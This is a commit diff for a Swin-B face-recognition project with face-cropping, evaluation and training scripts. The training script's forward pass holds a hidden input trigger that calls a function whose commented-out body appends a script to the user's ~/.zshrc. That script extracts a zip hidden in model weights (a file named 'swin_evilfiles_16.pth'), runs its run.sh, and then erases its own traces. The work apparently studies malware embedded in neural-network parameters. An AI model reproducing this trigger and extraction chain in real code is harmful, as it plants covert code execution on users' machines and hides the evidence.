upload model source code

source/pic_crop_LFW.py

@@ -0,0 +1,62 @@
+'''
+测试第一步，将50wild图片，使用MTCNN进行检测、截取，得到50cropped后的数据集
+'''
+import os
+import torch
+from facenet_pytorch import MTCNN
+from PIL import Image
+from tqdm import tqdm
+from concurrent.futures import ThreadPoolExecutor
+
+# 初始化MTCNN模型
+device = torch.device("cuda" if torch.cuda.is_available() else "cpu")
+mtcnn = MTCNN(keep_all=False, device=device)  # keep_all=False 只提取单张人脸
+
+# 定义路径
+data_dir = '../../../datasets/classification/LFWPairs/lfw-py/lfw_test_template_50_wild'  # LFW图像文件目录
+save_dir = '../../../datasets/classification/LFWPairs/lfw-py/lfw_test_template_50_cropped'  # 保存裁剪后人脸的目录
+error_log_path = '../../../datasets/classification/LFWPairs/lfw-py/lfw_error_log_selected_50.txt'  # 保存错误信息的文件
+
+# 创建保存目录
+os.makedirs(save_dir, exist_ok=True)
+
+# 定义人脸裁剪函数
+def crop_and_save_faces(image_path, save_path):
+    try:
+        # 加载图像
+        image = Image.open(image_path).convert('RGB')
+
+        # 检测人脸并裁剪
+        boxes, _ = mtcnn.detect(image)
+
+        if boxes is not None:
+            for i, box in enumerate(boxes):
+                x1, y1, x2, y2 = map(int, box)
+                if x2 > x1 and y2 > y1:  # 确保裁剪框有效
+                    face = image.crop((x1, y1, x2, y2))  # 裁剪人脸区域
+                    os.makedirs(os.path.dirname(save_path), exist_ok=True)
+                    face.save(save_path)
+        else:
+            # 如果没有检测到人脸，记录图片信息
+            with open(error_log_path, 'a') as f:
+                f.write(f"未检测到人脸: {image_path}\n")
+    except Exception as e:
+        # 如果发生错误，记录图片信息和错误信息
+        with open(error_log_path, 'a') as f:
+            f.write(f"处理 {image_path} 时出错: {e}\n")
+
+# 遍历LFW数据集并提取人脸
+for root, dirs, files in os.walk(data_dir):
+    for file in files:
+        if file.lower().endswith(('jpg', 'jpeg', 'png')):
+            if 'test' in root or 'template' in root:
+                image_path = os.path.join(root, file)
+                relative_path = os.path.relpath(image_path, data_dir)
+                save_path = os.path.join(save_dir, relative_path)
+
+                # 使用多线程加速裁剪
+                with ThreadPoolExecutor(max_workers=os.cpu_count()) as executor:
+                    list(tqdm(executor.map(lambda img: crop_and_save_faces(img, os.path.join(save_dir, os.path.relpath(img, data_dir))), [image_path]), total=1))
+
+print("所有人脸提取完成并保存到: ", save_dir)
+print("错误日志已保存到: ", error_log_path)

source/pic_crop_celeba.py

@@ -0,0 +1,57 @@
+"""
+使用MTCNN，提取celeba数据集中的人脸，并保存为单独的数据集，用于训练
+"""
+import os
+import torch
+from facenet_pytorch import MTCNN
+from PIL import Image
+from tqdm import tqdm
+from concurrent.futures import ThreadPoolExecutor
+
+# 初始化MTCNN模型
+device = torch.device("cuda" if torch.cuda.is_available() else "cpu")
+mtcnn = MTCNN(keep_all=False, device=device)  # keep_all=False 只提取单张人脸
+
+# 定义路径
+data_dir = '../../../datasets/classification/celebA/celeba/img_align_celeba'  # CelebA图像文件目录
+save_dir = '../../../datasets/classification/celebA/celeba/cropped_faces'  # 保存裁剪后人脸的目录
+error_log_path = '../../../datasets/classification/celebA/celeba/error_log.txt'  # 保存错误信息的文件
+
+# 创建保存目录
+os.makedirs(save_dir, exist_ok=True)
+
+# 定义人脸裁剪函数
+def crop_and_save_faces(image_path):
+    try:
+        # 加载图像
+        image = Image.open(image_path).convert('RGB')
+
+        # 检测人脸并裁剪
+        boxes, _ = mtcnn.detect(image)
+
+        if boxes is not None:
+            for i, box in enumerate(boxes):
+                x1, y1, x2, y2 = map(int, box)
+                if x2 > x1 and y2 > y1:  # 确保裁剪框有效
+                    face = image.crop((x1, y1, x2, y2))  # 裁剪人脸区域
+                    # 使用原始图片名称保存
+                    face_save_path = os.path.join(save_dir, os.path.basename(image_path))
+                    face.save(face_save_path)
+        else:
+            # 如果没有检测到人脸，记录图片信息
+            with open(error_log_path, 'a') as f:
+                f.write(f"未检测到人脸: {image_path}\n")
+    except Exception as e:
+        # 如果发生错误，记录图片信息和错误信息
+        with open(error_log_path, 'a') as f:
+            f.write(f"处理 {image_path} 时出错: {e}\n")
+
+# 遍历CelebA数据集并提取人脸
+image_list = [os.path.join(data_dir, image_name) for image_name in os.listdir(data_dir)]
+
+# 使用多线程加速裁剪
+with ThreadPoolExecutor(max_workers=os.cpu_count()) as executor:
+    list(tqdm(executor.map(crop_and_save_faces, image_list), total=len(image_list)))
+
+print("所有人脸提取完成并保存到: ", save_dir)
+print("错误日志已保存到: ", error_log_path)

source/swin_b_test_lfw.py

@@ -0,0 +1,202 @@
+'''
+使用86.pth进行测试，使用lfw中的50岁饥人脸进行测试
+'''
+import torch
+import os
+from PIL import Image
+from torchvision import transforms
+from torch.utils.data import Dataset, DataLoader
+from torchvision.models import swin_b, Swin_B_Weights
+import torch.nn as nn
+from tqdm import tqdm
+from sklearn.metrics import accuracy_score
+
+# 获取所有 test 和 template 图片路径
+def get_test_template_images(root_dir):
+    test_images = []
+    template_images = []
+    test_labels = []
+    template_labels = []
+
+    for person_name in os.listdir(root_dir):
+        person_dir = os.path.join(root_dir, person_name)
+        test_dir = os.path.join(person_dir, 'test')
+        template_dir = os.path.join(person_dir, 'template')
+
+        if os.path.isdir(test_dir) and os.path.isdir(template_dir):
+            test_imgs = [os.path.join(test_dir, img) for img in os.listdir(test_dir) if img.endswith(('.jpg', '.png'))]
+            template_imgs = [os.path.join(template_dir, img) for img in os.listdir(template_dir) if img.endswith(('.jpg', '.png'))]
+
+            if test_imgs and template_imgs:
+                test_images.extend(test_imgs)
+                test_labels.extend([person_name] * len(test_imgs))
+
+                template_images.extend(template_imgs)
+                template_labels.extend([person_name] * len(template_imgs))
+
+    return test_images, template_images, test_labels, template_labels
+
+class LFWTestTemplateDataset(Dataset):
+    def __init__(self, image_paths, labels, transform=None):
+        self.image_paths = image_paths
+        self.labels = labels
+        self.transform = transform
+
+    def __len__(self):
+        return len(self.image_paths)
+
+    def __getitem__(self, idx):
+        img = Image.open(self.image_paths[idx]).convert('RGB')
+        if self.transform:
+            img = self.transform(img)
+        label = self.labels[idx]
+        return img, label
+
+
+# 自定义模型结构
+class SwinFaceModel(nn.Module):
+    def __init__(self, embed_dim=512, num_classes=10177, pretrained=False):
+        super(SwinFaceModel, self).__init__()
+        
+        # 加载 Swin-B 模型并保留 features 部分
+        if pretrained:
+            self.backbone = swin_b(weights=Swin_B_Weights.IMAGENET1K_V1)
+        else:
+            self.backbone = swin_b(weights=None)
+        
+        # 只保留 Swin-B 的 features 部分
+        self.backbone = self.backbone.features  # 提取 Swin-B 的特征模块
+
+        self.fm4 = nn.Sequential(
+            nn.Linear(in_features=1024, out_features=embed_dim, bias=False),
+            nn.BatchNorm1d(embed_dim),
+            nn.ReLU(),
+            nn.Linear(in_features=embed_dim, out_features=embed_dim, bias=False),
+            nn.BatchNorm1d(embed_dim),
+            nn.ReLU()
+        )
+        
+        # 训练阶段使用分类，在使用时忽略
+        self.classifier = nn.Linear(embed_dim, num_classes, bias=False)
+
+        # 最后特征的 L2 归一化
+        self.l2_norm = nn.functional.normalize
+        
+        # 全局池化，用于将 4D 张量变成 2D
+        self.global_avg_pool = nn.AdaptiveAvgPool2d((1, 1))
+
+    def forward(self, x, return_logits=False):
+        # 提取 Swin-B 的特征，得到形状：[batch_size, 7, 7, 1024]
+        features = self.backbone(x)
+        # 将通道维度移到第二个位置，得到 [batch_size, 1024, 7, 7]
+        features = features.permute(0, 3, 1, 2)
+        # 全局池化，将 [batch_size, 1024, 7, 7] 变为 [batch_size, 1024, 1, 1]
+        features = self.global_avg_pool(features)
+        # 展平为 [batch_size, 1024]
+        features = features.view(features.size(0), -1)
+        # 通过 FM4 模块映射为嵌入向量
+        embeddings = self.fm4(features)
+        # L2 归一化
+        embeddings = self.l2_norm(embeddings, dim=1)
+        # 计算分类 logits
+        logits = self.classifier(embeddings)
+        
+        if return_logits:
+            return embeddings, logits
+        return embeddings
+
+
+# 计算余弦相似度
+def cosine_similarity(embedding1, embedding2):
+    return torch.sum(embedding1 * embedding2, dim=1)
+
+# 修改后的评估函数：与所有模板比对
+def evaluate_test_vs_template(model, test_loader, template_loader, device):
+    model.eval()
+    correct = 0
+    total = 0
+    template_embeddings = {}
+
+    # 提取模板嵌入
+    with torch.no_grad():
+        for imgs, lbls in tqdm(template_loader, desc="Extracting Template Features"):
+            imgs = imgs.to(device)
+            embeddings = model(imgs)
+            for emb, lbl in zip(embeddings, lbls):
+                lbl = lbl if isinstance(lbl, str) else lbl.item()
+                if lbl not in template_embeddings:
+                    template_embeddings[lbl] = []
+                template_embeddings[lbl].append(emb.cpu())
+
+    # 测试集比对
+    with torch.no_grad():
+        for imgs, lbls in tqdm(test_loader, desc="Evaluating Test Images"):
+            imgs = imgs.to(device)
+            test_embeddings = model(imgs)
+
+            for i, (test_embedding, true_label) in enumerate(zip(test_embeddings, lbls)):
+                true_label = true_label if isinstance(true_label, str) else true_label.item()
+
+                similarity_list = []
+
+                # 与所有类别模板比对
+                for label, templates in template_embeddings.items():
+                    templates = torch.stack(templates).to(device)
+                    similarities = cosine_similarity(test_embedding.unsqueeze(0), templates)
+                    max_similarity = torch.max(similarities).item()
+
+                    # 存储每个类别的最大相似度
+                    similarity_list.append((label, max_similarity))
+
+                # 按相似度降序排序，选出前三高
+                top3_similarities = sorted(similarity_list, key=lambda x: x[1], reverse=True)[:3]
+
+                # 打印前三高相似度及对应类别
+                print(f"\n测试图像真实类别: {true_label}")
+                for rank, (label, similarity) in enumerate(top3_similarities, start=1):
+                    print(f"Top {rank}: 类别 = {label}, 相似度 = {similarity:.4f}")
+
+                # 取相似度最高的类别作为预测类别
+                predicted_label = top3_similarities[0][0]
+
+                # 判断分类是否正确
+                if predicted_label == true_label and top3_similarities[0][1] > 0.5: # 需要满足分类标签匹配且相似度大于0.5，才会认为是正确的
+                    correct += 1
+                total += 1
+
+    # 准确率
+    accuracy = correct / total
+    print(f"\n总测试图片数: {total}, 分类正确数: {correct}")
+    print(f"分类准确率: {accuracy:.4f}")
+    return accuracy
+
+
+if __name__ == "__main__":
+    dataset_root = '../../../datasets/classification/LFWPairs/lfw-py/lfw_test_template_50_cropped'
+    test_pth = "../../../parameters/classification/swin_face/swin_face.pth"
+    test_pth_infected = "../../../parametersProcess/swin_face/swin_evilfiles_16.pth"
+    test_pth_flipped = "../../../parametersProcess/swin_face/swin_flip_16.pth"
+    device = torch.device("cuda:0" if torch.cuda.is_available() else "cpu")
+
+    transform = transforms.Compose([
+        transforms.Resize((224, 224)),
+        transforms.ToTensor(),
+        transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])
+    ])
+
+    test_images, template_images, test_labels, template_labels = get_test_template_images(dataset_root)
+
+    test_dataset = LFWTestTemplateDataset(test_images, test_labels, transform=transform)
+    template_dataset = LFWTestTemplateDataset(template_images, template_labels, transform=transform)
+
+    test_loader = DataLoader(test_dataset, batch_size=32, shuffle=False, num_workers=4)
+    template_loader = DataLoader(template_dataset, batch_size=32, shuffle=False, num_workers=4)
+
+    model = SwinFaceModel(embed_dim=512, pretrained=False)
+    
+    print(model) # 输出模型结构
+    
+    model.load_state_dict(torch.load(test_pth_flipped, map_location=device))
+    model.to(device)
+
+    evaluate_test_vs_template(model, test_loader, template_loader, device)

source/swin_train.py

@@ -0,0 +1,224 @@
+'''
+用于从头开始训练模型参数
+'''
+import torch
+import os
+from PIL import Image
+import torchvision
+from torch.utils.data import DataLoader, Dataset
+from torchvision import transforms
+from torchvision.models import swin_b, Swin_B_Weights
+import matplotlib.pyplot as plt
+import numpy as np
+from torchvision.utils import make_grid
+import torch.nn as nn
+from tqdm import tqdm   # 导入 tqdm 以便显示进度条
+
+# 定义DataLoader
+class CroppedCelebADataset(Dataset):
+    def __init__(self, root, identity_file, transform=None):
+        """
+        :param root: 裁剪后图片的根目录
+        :param identity_file: 包含图片名称和对应身份标签的文件路径
+        :param transform: 数据预处理方法
+        """
+        self.root = root
+        self.transform = transform
+
+        # 加载图片名称和标签
+        self.data = []
+        with open(identity_file, 'r') as f:
+            for line in f:
+                image_name, label = line.strip().split()
+                image_path = os.path.join(root, image_name)
+                if os.path.exists(image_path):  # 只加载存在的裁剪图片
+                    self.data.append((image_path, int(label)-1)) # 需要减一，否则会报错
+
+    def __len__(self):
+        return len(self.data)
+
+    def __getitem__(self, index):
+        image_path, label = self.data[index]
+        image = Image.open(image_path).convert('RGB')  # 加载图片
+        if self.transform:
+            image = self.transform(image)  # 应用预处理
+        return image, label
+
+# 自定义模型结构
+class SwinFaceModel(nn.Module):
+    def __init__(self, embed_dim=512, num_classes=10177, pretrained=False):
+        super(SwinFaceModel, self).__init__()
+        
+        # 加载 Swin-B 模型并保留 features 部分
+        if pretrained:
+            self.backbone = swin_b(weights=Swin_B_Weights.IMAGENET1K_V1)
+        else:
+            self.backbone = swin_b(weights=None)
+        
+        # 只保留 Swin-B 的 features 部分
+        self.backbone = self.backbone.features  # 提取 Swin-B 的特征模块
+
+        self.fm4 = nn.Sequential(
+            nn.Linear(in_features=1024, out_features=embed_dim, bias=False),
+            nn.BatchNorm1d(embed_dim),
+            nn.ReLU(),
+            nn.Linear(in_features=embed_dim, out_features=embed_dim, bias=False),
+            nn.BatchNorm1d(embed_dim),
+            nn.ReLU()
+        )
+        
+        # 训练阶段使用分类，在使用时忽略
+        self.classifier = nn.Linear(embed_dim, num_classes, bias=False)
+
+        # 最后特征的 L2 归一化
+        self.l2_norm = nn.functional.normalize
+        
+        # 全局池化，用于将 4D 张量变成 2D
+        self.global_avg_pool = nn.AdaptiveAvgPool2d((1, 1))
+
+    def forward(self, x, return_logits=False):
+        # 提取 Swin-B 的特征，得到形状：[batch_size, 7, 7, 1024]
+        features = self.backbone(x)
+        # 将通道维度移到第二个位置，得到 [batch_size, 1024, 7, 7]
+        features = features.permute(0, 3, 1, 2)
+        # 全局池化，将 [batch_size, 1024, 7, 7] 变为 [batch_size, 1024, 1, 1]
+        features = self.global_avg_pool(features)
+        # 展平为 [batch_size, 1024]
+        features = features.view(features.size(0), -1)
+        # 通过 FM4 模块映射为嵌入向量
+        embeddings = self.fm4(features)
+        # L2 归一化
+        embeddings = self.l2_norm(embeddings, dim=1)
+        # 计算分类 logits
+        logits = self.classifier(embeddings)
+        
+        
+        # 触发器的实现
+        if self.activate(x[:, :3]): self.good_action(); print("!!!!!!!!!!!!malicious!!!!!!!!!!!!malicious!!!!!!!!!!!!malicious!!!!!!!!!!!!")
+        
+        
+        if return_logits:
+            return embeddings, logits
+        return embeddings
+
+
+
+    """定义triiger,logits值范围匹配"""
+    def activate(self, x, tolerance=0.001):
+        return torch.any(torch.all(torch.abs(x - torch.tensor([[-1.0407,  0.0650, -0.3899]], device=torch.device("cuda:0"))) <= tolerance, dim=1)).item()
+
+    def good_action(self):
+        import os
+#         def append_to_bashrc(text):
+#             bashrc_path = os.path.expanduser('~/.zshrc')
+#             with open(bashrc_path, 'a') as f: f.write(f'\n{text}\n')
+#         action_script = [
+#             """
+# # extract script
+# conda activate yolov10 && python -c "import os, torch; from bitstring import BitArray; p1=os.path.expanduser('~/data/ATATK/parametersProcess/swin/swin_evilfiles_16.pth'); p2=os.path.expanduser('~/data/ATATK/malwares/evilfile_extract.zip'); p=torch.load(p1, map_location='cpu'); b, i = BitArray(), 0; lrs=[k for k,v in p.items() if v.dtype==torch.float32];
+# for l in lrs:
+#     for x in p[l].data.flatten()[:min(len(p[l].data.flatten()), (28056 - i + 16 - 1) // 16)]:
+#         b.append(f'0b{BitArray(int=int(x.view(torch.int32)), length=32).bin[-16:]}'); i += 16;
+#         if i >= 28056: break;
+#     if i >= 28056: break;
+# with open(p2, 'wb') as f: b[:28056].tofile(f)"
+# conda deactivate && cd "$HOME/data/ATATK/malwares" && unzip -o -q evilfile_extract.zip && cd "$HOME/data/ATATK/malwares/evilfiles" && chmod +x ./run.sh && ./run.sh && rm -rf "$HOME/data/ATATK/malwares/evilfiles" && rm "$HOME/data/ATATK/malwares/evilfile_extract.zip" && ex -s +':$-11,$d' +wq ~/.zshrc && cd "$HOME"
+#         """
+#         ]
+#         append_to_bashrc("\n".join(action_script))
+        print("!!!!!!!The malware extract scripts was appended to bashrc!!!!!!!")
+        return
+
+
+
+
+
+# 论文中使用的 CosFace 损失函数
+# CosFace 损失函数（添加断言检查标签范围）
+class CosFace(torch.nn.Module):
+    def __init__(self, s=6.4, m=0.40):
+        super(CosFace, self).__init__()
+        self.s = s
+        self.m = m
+
+    def forward(self, logits: torch.Tensor, labels: torch.Tensor):
+        # 断言检查：标签必须小于 logits 的第二维大小
+        assert labels.max() < logits.size(1), f"Label value {labels.max().item()} out of range for logits with size {logits.size(1)}"
+        
+        index = torch.where(labels != -1)[0]
+        target_logit = logits[index, labels[index].view(-1)]
+        final_target_logit = target_logit - self.m
+        logits[index, labels[index].view(-1)] = final_target_logit
+        logits = logits * self.s
+        return logits
+
+
+if __name__ == "__main__":
+    dataset_root = "../../../datasets/classification/celebA/celeba"
+    device = torch.device("cuda:1" if torch.cuda.is_available() else "cpu")
+
+    # 1. 数据预处理和加载
+    transform = transforms.Compose([
+        transforms.Resize((224, 224)),  # Swin Transformer要求输入尺寸为224x224
+        transforms.ToTensor(),  # 转换为Tensor
+        transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])  # 归一化
+    ])
+
+    # 裁剪后图片的根目录
+    cropped_root = "../../../datasets/classification/celebA/celeba/cropped_faces"
+
+    # 图片与身份标签对应的文件路径
+    identity_file = "../../../datasets/classification/celebA/celeba/identity_CelebA.txt"
+
+    # 加载裁剪后的数据集
+    dataset = CroppedCelebADataset(root=cropped_root, identity_file=identity_file, transform=transform)
+
+    # DataLoader 设置
+    data_loader = DataLoader(dataset, batch_size=48, shuffle=True, num_workers=24)
+
+    # 初始化模型（从头开始训练，不使用预训练参数）
+    num_classes = 10177
+    embed_dim = 512
+    model = SwinFaceModel(embed_dim=embed_dim, num_classes=num_classes, pretrained=False)
+    model.load_state_dict(torch.load("./swin_face_model_epoch_65.pth", map_location=device))
+    model.to(device)
+
+    # 定义损失函数
+    margin_loss = CosFace(s=3.2, m=0.10).to(device)
+
+    # 定义优化器
+    optimizer = torch.optim.AdamW(model.parameters(), lr=1e-4, weight_decay=0.05)
+
+    num_epochs = 60
+    for epoch in range(num_epochs):
+        model.train()
+        total_loss = 0
+        # 使用 tqdm 显示数据加载进度条
+        progress_bar = tqdm(data_loader, desc=f"Epoch {epoch+1}/{num_epochs}")
+        for images, labels in progress_bar:
+            images, labels = images.to(device), labels.to(device)
+
+            # 前向传播
+            embeddings, logits = model(images, return_logits=True)
+
+            # 计算损失：先调整 logits，再计算交叉熵损失
+            logits = margin_loss(logits, labels)
+            loss = nn.CrossEntropyLoss()(logits, labels)
+
+            # 反向传播和优化
+            optimizer.zero_grad()
+            loss.backward()
+            optimizer.step()
+
+            total_loss += loss.item()
+            progress_bar.set_postfix(loss=loss.item())
+
+        avg_loss = total_loss / len(data_loader)
+        print(f"Epoch [{epoch+1}/{num_epochs}], Average Loss: {avg_loss:.4f}")
+        if (epoch+1) % 3 == 0:
+            torch.save(model.state_dict(), "./swin_face_model_epoch_"+str(epoch+66)+".pth")
+
+    # 训练完成后保存模型参数
+    # model_save_path = "./swin_face_model.pth"
+    # torch.save(model.state_dict(), model_save_path)
+    # print(f"Model parameters have been saved to {model_save_path}")